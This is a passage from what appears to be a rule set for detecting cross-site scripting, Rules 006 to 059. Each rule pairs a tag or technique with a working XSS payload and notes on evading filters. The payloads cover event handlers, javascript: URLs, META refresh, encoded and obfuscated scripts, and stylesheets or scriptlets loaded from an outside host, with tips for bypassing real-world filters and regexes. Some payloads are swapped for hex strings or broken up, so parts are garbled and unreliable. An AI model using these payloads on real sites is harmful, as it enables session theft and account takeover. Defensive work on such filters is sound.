XML with embedded JavaScript	<?xml version="1.0"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?> <!DOCTYPE doc [<!ATTLIST xsl:stylesheet id ID #REQUIRED>]> <svg xmlns="http://www.w3.org/2000/svg"> <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:71f0e9c9d8b33e9481c1e329290bbf3a"></iframe> </xsl:template> </xsl:stylesheet> <circle fill="red" r="40"></circle> </svg>	
XML with embedded JavaScript	<?xml-stylesheet href="javascript:5fa3b345257c56e3b56df940a0a3ec7d"?>	
XML with embedded JavaScript	<?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "7663e294f3de0a1da338d9415f54dbe3"><x>&x;</x>	

Short description	Example of vulnerable code	Long description
XML with embedded JavaScript	<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='X'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3E293e49d3b75ce45a89ee6d74eabea8ca%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?> <root/>	
XML with embedded JavaScript	<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(7968f972d4dd9362231b66cdedcc340a);%7d"?>	
XML with embedded JavaScript	<?xml-stylesheet type="text/css"?><root style="x:expression(ff514ab86aa1f77fe31114dc2ca7b0ef)"/>	
XML with embedded JavaScript	<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>963c2b3996bb7f103be0a7d92dd96b44;</html:script></html:html>	
XML with embedded JavaScript HTML+TIME in XML	<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:9960e2e5160faa7b4662f380e32ebbfc</SCRIPT>"></BODY></HTML>	This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work

Rule 006. Detect classic XML

Short description	Example of vulnerable code	Long description
XML data island with CDATA obfuscation	<XML ID="xss"><I><B><IMG SRC="javas<!-- --> >cript:alert('XSS')"></B></I></ XML>	This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode)
Locally hosted XML with embedded JavaScript that is generated using an XML data island	<XML SRC="xsstest.xml" ID=I></ XML>	This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector.

Rule 007. Detect <EMBED

Short description	Example of vulnerable code	Long description
You can EMBED SVG which can contain your XSS vector	<EMBED SRC=" TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>	his example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

Rule 008. Detect OBJECT tag

Short description	Example of vulnerable code	Long description
OBJECT tag	<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>	If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

Rule 009. Detect <DIV

Short description	Example of vulnerable code	Long description
DIV background-image	<DIV STYLE="background-image: url(javascript:alert('XSS'))">	DIV background-image
DIV background-image plus extra characters	<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">	Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):
DIV background-image with unicoded XSS exploit	<DIV STYLE="background-image: \0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">	This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:
DIV expression	<DIV STYLE="width: expression(alert('XSS'));">	A variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

Rule 010. Detect <Table

Short description	Example of vulnerable code	Long description
TABLE	<TABLE BACKGROUND="javascript:alert('XSS')">	Just like above, Table’s are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
TD	<TABLE><TD BACKGROUND="javascript:alert('XSS')">	Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

Rule 011. Detect <FRAMESET

Short description	Example of vulnerable code	Long description
FRAMESET	<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>	Frames have the same sorts of XSS problems as iframes

Rule 012. Detect <META HTTP-EQUIV

Short description	Example of vulnerable code	Long description
Remote style sheet part 3	<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">	This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://xss.rocks/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
META	<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">	The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:
META using data	<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">	Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
META with additional URL parameter	<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">	If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann)

Short description	Example of vulnerable code	Long description
Cookie manipulation	<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">	Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
UTF-7 encoding	<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-	If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

Rule 013. Detect Import

Short description	Example of vulnerable code	Long description
Remote style sheet part 2	<STYLE>@import'http://xss.rocks/xss.css';</STYLE>	This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

Rule 014. Detect <Link REL

Short description	Example of vulnerable code	Long description
Remote style sheet	<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">	(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

Rule 015. Detect <BR SIZE via &

Short description	Example of vulnerable code	Long description
JavaScript includes	<BR SIZE="&{alert('XSS')}">	

Rule 016. Detect <Link

Short description	Example of vulnerable code	Long description
	<link rel=stylesheet href=data:,*%7bx:expression(bbfe2b5979eca6d462ff4941890c10ec)%7d	
	<link rel=stylesheet href=data:,*%7bx:expression(javascript:0441c13628dd96f3d4e836bf2b9cfcad)%7d	

Rule 017. Detect <BGSOUND

Short description	Example of vulnerable code	Long description
BGSOUND	<BGSOUND SRC="javascript:alert('XSS');">	

Rule 018. Detect <SVG

Short description	Example of vulnerable code	Long description
SVG object tag	<svg/onload=alert('XSS')>	

Rule 019. Detect <INPUT

Short description	Example of vulnerable code	Long description
INPUT image	<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">	

Rule 020. Detect <BODY

Short description	Example of vulnerable code	Long description
BODY image	<BODY BACKGROUND="javascript:alert('XSS')">	
	<BODY onload!#$%&()*~+-_.,:;?@[/\]^`=alert("XSS")>	Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
BODY tag	<BODY ONLOAD=alert('XSS')>	Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):

Rule 021. Detect LOWSRC after IMG tag

Short description	Example of vulnerable code	Long description
IMG lowsrc	<IMG LOWSRC="javascript:alert('XSS') ">	

Rule 022. Detect <FORM>

Short description	Example of vulnerable code	Long description
	<form><button formaction="javascript:545b7d5e85b2081b60e9d9ce8d6d2207">X	
	<form><isindex formaction="javascript:confirm(33a59c6aeb4354d7838c9a5bb405d5a5)"	
	<form><iframe
&#11; src="javascript:alert(9459c0d360e207a8e717c28b03855f8b)" &#11;
;>	
	<form><textarea
onkeyup='e085ba85064a3be2d70b051bfe4a6663'>	
	<form><button formaction=javascript:alert(aed5d48ab253746adff9f38ba81a5702)>CLICKME	
	<form><button formaction="javascript:javascript:4a3a04a1e1c8d1dd32ad7bb52179b91a">X	

Rule 023. Detect EVAL coding and obfuscation code

Short description	Example of vulnerable code	Long description
	a="get";b="URL("";c="javascript:";d="3d3638ef677fdb4d88dbe307a2f5448d")";eval(a+b+c+d);	
	<script>({set/**/$($){_/**/setter=$,_=8dd70bf64a7a3df1a4e307eaca6cc328}}).$=eval</script>	
	<script>({0:#0=eval/#0#/#0#(b1ca91a52e61dea164a0d9995d33ed01)})</script>	
	<script>[{'a':Object.prototype.__defineSetter__('b',function(){eval(arguments[0])}),'b':['47ce341b6df2c47f78239daecc1e7483']}]</script>	
	<script>({set/**/$($){_/**/setter=$,_=javascript:05d5b4fe08862cf2f85b62b85be26dc3}}).$=eval</script>	
	<script>({0:#0=eval/#0#/#0#(javascript:b4b26041fa4584a57de1ec3653c4088f)})</script>	

Rule 024. Detect BASE64 Obfuscation code

Short description	Example of vulnerable code	Long description
META using data	<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">	Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
You can EMBED SVG which can contain your XSS vector	<EMBED SRC=" czpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAv c3ZnIiB4bWxucz0iaHR0cDovL3d 3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsa W5rPSJodHRwOi8vd3d3LnczLm 9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9Ij AiIHk9IjAiIHdpZHRoPSIxOTQiIGhl aWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5 cGU9InRleHQvZWNtYXNjcmlwd CI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnP g==" type="image/svg+xml" AllowScriptAccess="always"></ EMBED>	his example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

Rule 025. Detect Set-Cookie

Short description	Example of vulnerable code	Long description
Cookie manipulation	<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">	Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

Rule 026. Detect String.fromCharCode

Short description	Example of vulnerable code	Long description
fromCharCode	<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>	If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:

Rule 027. Detect <IFRAME

Short description	Example of vulnerable code	Long description
Double open angle brackets	<iframe src=http://xss.rocks/scriptlet.html <	Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:
IFRAME	<IFRAME SRC="javascript:alert('XSS');"></IFRAME>	If iframes are allowed there are a lot of other XSS problems as well:
IFRAME Event based	<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>	IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross)

Rule 028. Detect PERL command running

Short description	Example of vulnerable code	Long description
Null breaks up JavaScript directive	perl -e 'print "<IMG SRC=java\0script:alert(XSS)>";' > out	Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:

Rule 029. Detect <A ONMOUSEOVER

Short description	Example of vulnerable code	Long description
Malformed A tags	xxs link	"Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome

Rule 030. Detect <IMG

Short description	Example of vulnerable code	Long description
Malformed IMG tags	<IMG STYLE="X:expr/*X*/ ession(67d9b0991df5105a54c91f 972e999564)">	This XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. This would make it significantly more difficult to correctly parse apart an HTML tag:
Malformed IMG tags	<IMG """>da16541e3f3229f138308a71 3160917a">	This XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. This would make it significantly more difficult to correctly parse apart an HTML tag:

Rule 031. Detect <IMG DYNSRC

Short description	Example of vulnerable code	Long description
IMG Dynsrc	<IMG DYNSRC="javascript:alert('XSS')" >	IMG Dynsrc (works in IE)

Rule 032. Detect <IMG SRC

Short description	Example of vulnerable code	Long description
Image XSS using the JavaScript directive	<IMG SRC="javascript:alert('XSS');">	Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
No quotes and no semicolon	<IMG SRC=javascript:alert('XSS')>	
Case insensitive XSS attack vector	<IMG SRC=JaVaScRiPt:alert('XSS')>	
HTML entities	<IMG SRC=javascript:alert("XSS")>	The semicolons are required for this to work:
Grave accent obfuscation	<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>	If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
fromCharCode	<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>	If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:
Spaces and meta chars before the JavaScript in images for XSS	<IMG SRC=" &#14; javascript:alert('XSS');">	This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

Short description	Example of vulnerable code	Long description
Half open HTML/JavaScript XSS vector	<IMG SRC="javascript:alert('XSS')"	Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:
Null breaks up JavaScript directive	perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>" ;' > out	Null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00is much more useful and helped me bypass certain real world filters with a variation on this example:
Default SRC tag to get past filters that check SRC domain	<IMG SRC=# onmouseover="alert('xxs')">	This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections listed here. Submitted by David Cross .
Default SRC tag by leaving it empty	<IMG SRC= onmouseover="alert('xxs')">	

Short description	Example of vulnerable code	Long description
On error alert	<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>	
IMG onerror and javascript alert encode	<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">	
Decimal HTML character references	"<IMG SRC=javascript:alert(	
Hexadecimal HTML character references without trailing semicolons"	<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>	This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):
	<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>	This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
Embedded tab	<IMG SRC="javascript:alert('XSS');">	
Embedded Encoded tab	<IMG SRC="jav ascript:alert('XSS');">	Use this one to break up XSS :
Embedded newline to break up XSS	<IMG SRC="jav
ascript:alert('XSS');">	Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

Short description	Example of vulnerable code	Long description
Embedded carriage return to break up XSS	<IMG SRC="jav
ascript:alert('XSS');">	Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
VBscript in an image	<IMG SRC='vbscript:msgbox("XSS")'>	
Livescript (older versions of Netscape only)	<IMG SRC="livescript:[code]">	
XML data island with CDATA obfuscation	"<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>	
IMG Embedded commands	<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">	This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

Rule 033. Detect BODY tag seekSegmentTime

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=seekSegmentTime('XSS')>	seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

Rule 034. Detect BODY tag onURLFlip

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onURLFlip('XSS')>	onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)

Rule 035. Detect BODY tag onUnload

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onUnload('XSS')>	onUnload() (as the user clicks any link or presses the back button or attacker forces a click)

Rule 036. Detect BODY tag onUndo

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onUndo('XSS')>	onUndo() (user went backward in undo transaction history)

Rule 037. Detect BODY tag onTrackChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onTrackChange('XSS') >	onTrackChange() (user or attacker changes track in a playList)

Rule 038. Detect BODY tag onTimeError

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onTimeError('XSS')>	onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)

Rule 039. Detect BODY tag onSubmit

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSubmit('XSS')>	onSubmit() (requires attacker or user submits a form)

Rule 040. Detect BODY tag onSyncRestored

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSyncRestored('XSS')>	onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)

Rule 041. Detect BODY tag onStorage

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onStorage('XSS')>	onStorage() (storage area changed)

Rule 042. Detect BODY tag onStop

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onStop('XSS')>	onStop() (user would need to press the stop button or leave the webpage)

Rule 043. Detect BODY tag onStart

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onStart('XSS')>	onStart() (fires at the beginning of each marquee loop)

Rule 044. Detect BODY tag onSelectStart

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSelectStart('XSS')>	onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)

Rule 045. Detect BODY tag onSelectionChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSelectionChange('XSS')>	onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)

Rule 046. Detect BODY tag onSelect

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSelect('XSS')>	onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)

Rule 047. Detect BODY tag onSeek

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onSeek('XSS')>	onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)

Rule 048. Detect BODY tag onScroll

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onScroll('XSS')>	onScroll() (user would need to scroll, or attacker could use the scrollBy() function)

Rule 049. Detect BODY tag onRowInserted

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRowInserted('XSS')>	onRowInserted() (user or attacker would need to insert a row in a data source)

Rule 050. Detect BODY tag onRowDelete

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRowDelete('XSS')>	onRowDelete() (user or attacker would need to delete a row in a data source)

Rule 051. Detect BODY tag onRowExit

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRowExit('XSS')>	onRowExit() (user or attacker would need to change a row in a data source)

Rule 052. Detect BODY tag onRowsEnter

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRowsEnter('XSS')>	onRowsEnter() (user or attacker would need to change a row in a data source)

Rule 053. Detect BODY tag onReverse

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onReverse('XSS')>	onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)

Rule 054. Detect BODY tag onResume

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onResume('XSS')>	onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)

Rule 055. Detect BODY tag onResizeStart

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onResizeStart('XSS')>	onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

Rule 056. Detect BODY tag onResizeEnd

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onResizeEnd('XSS')>	onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

Rule 057. Detect BODY tag onResize

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onResize('XSS')>	onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

Rule 058. Detect BODY tag onReset

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onReset('XSS')>	onReset() (user or attacker resets a form)

Rule 059. Detect BODY tag onRepeat

